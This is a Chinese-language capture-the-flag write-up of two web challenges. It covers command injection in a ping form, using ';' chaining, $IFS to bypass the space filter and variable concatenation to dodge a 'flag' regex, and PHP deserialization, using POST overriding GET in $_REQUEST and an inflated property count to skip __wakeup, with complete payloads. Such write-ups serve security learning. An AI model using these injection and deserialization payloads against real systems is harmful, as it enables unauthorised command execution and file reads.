因为博主注入很菜,所以没做注入题然而注入都是大头,只做了两道比较适合博主的web
<!--more-->
命令执行(pingpingping)
这道题点进去就说php可以执行系统命令,让我们输入一个网址(主办校)
输入之后发现执行后的内容是ping命令返回的内容,手动测试了一下发现;ls
是能够顺利执行的,一下子就可以看到当前目录结构了,
bjut.edu.cn;ls
回显如下:
然后顺势看看可不可以读到flag发现不行,这里此时会有提示说明是符号有问题,最后fuzz了一下发现是不可以使用空格,绕过空格有很多办法这里参考了
使用$IFS
进行空格校验的绕过,发现不能够直接读flag,flag是禁止字符,因此我们来读读index.php
bjut.edu.cn;cat$IFSindex.php
可以看到这里首先禁止了相当多的字符,然后用.*f.*l.*a.*g
这种正则来禁止读flag
,但是仔细看看禁止的是含有flag字符序列,因此我们从g出发,倒着输入flag字符序列,倒着定义这个字符序列(linux系统变量),最后将这些变量拼接起来即可,最后payload:
bjut.edu.cn;cmd4=g;cmd3=a;cmd2=l;cmd1=f;cmd5=.php;cmd=$cmd1$cmd2$cmd3$cmd4$cmd5;cat$IFS$cmd;ls
flag为:
反序列化(报菜名)
由于写WP的时候校外环境已经关了,因此源码为我拖到本机上的源码,这道题根据提示,知道了为robots.txt
,这是一个规定爬虫能爬取哪些页面的协议,根据robots.txt
所写的url内容,进入就可以得到源码了,源码如下:
<?php
class FileReader{
public $Filename;
public $start;
public $max_length;
function __construct(){
$this->Filename = __DIR__ . "/bcm.txt";
$this->start = 12;
$this->max_length = 72;
}
function __wakeup(){
$this->Filename = __DIR__ . "/fake_f1ag.php";
$this->start = 10;
$this->max_length = 0;
echo "<script>alert(1)</script>";
}
function __destruct(){
$data = file_get_contents($this->Filename, 0, NULL, $this->start, $this->max_length);
if(preg_match("/\{|\}/", $data)){
die("you can't read flag!");
}
else{
echo $data;
}
}
}
if(isset($_GET['exp'])){
if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['exp'])){
die("hack!");
}
$exp = $_REQUEST['exp'];
$e = unserialize($exp);
echo $e->Filename;
}
else{
$exp = new FileReader();
}
?>
是一道简单的反序列化题目,粗略讲讲源码,
- 就是在创建这个类的实例时,设置好文件名为
bcm.txt
,然后读取打印出来,如果反序列化,则调用了__wakeup
魔术方法,就会将属性重新赋值,因此需要绕过 - 主程序这里会判断有没有
GET
传入的exp
,经过正则匹配之后.?f.?l.?a.?g.?
这个正则匹配想要读flag几乎不可能,然后会赋值$exp = $_REQUEST['exp']
,最后将exp反序列化,注意前面判断的是$_GET
数组,后面判断的是$_REQUEST
数组
解法
首先把源码脱下来构造好反序列化字符,我的exp.php
源码为:
<?php
class FileReader{
public $Filename;
public $start;
public $max_length;
function __construct(){
$this->Filename = __DIR__ . "/./flag";
$this->start = 0;
$this->max_length = 72;
}
}
$exp = new FileReader();
echo serialize($exp);
$b=unserialize($a);
echo $b->Filename;
生成好反序列化字符之后就是怎么传的问题了
- 首先要让其反序列化必须绕过校验
flag
的正则,这里如果勤翻php手册的同学一定知道,$_REQUEST
数组的覆盖问题,就比如$_GET['flag'],$_POST['flag'],$_COOKIE['flag']
同时传入,这时候$_REQUEST['flag']
,究竟取哪个的问题,手册给的顺序是
也就是说$_POST['flag']
的值会把$_GET['flag']
给覆盖掉,因此这里同时用get
和post
传入exp即可(post传读flag的),这层便就绕过了
PS: 这个考点我在我们学校团队招新时,出的压轴题hello_world
就考到了这个点,具体项目可以参照:
__wakeup
会在反序列化的时候调用,然后修改我们的属性值,这里只需要在反序列化字符中,传入大于实际属性的数的字符即可跳过__wakeup
的执行,即下图圈的那个数字改大:
- 最后由于这段源码:
if(preg_match("/\{|\}/", $data)){
die("you can't read flag!");
}
会对读出来的字符进行一定限制,因此需要调整长度来读取flag,最后长度是慢慢试出来的,把这段字符套上GXY{}
即为flag
payload实际上为:
GET:
O:10:"FileReader":4:{s:8:"Filename";s:5:"a.php";s:5:"start";i:0;s:10:"max_length";i:72;}
POST:
O:10:"FileReader":4:{s:8:"Filename";s:8:"flag.php";s:5:"start";i:21;s:10:"max_length";i:17;}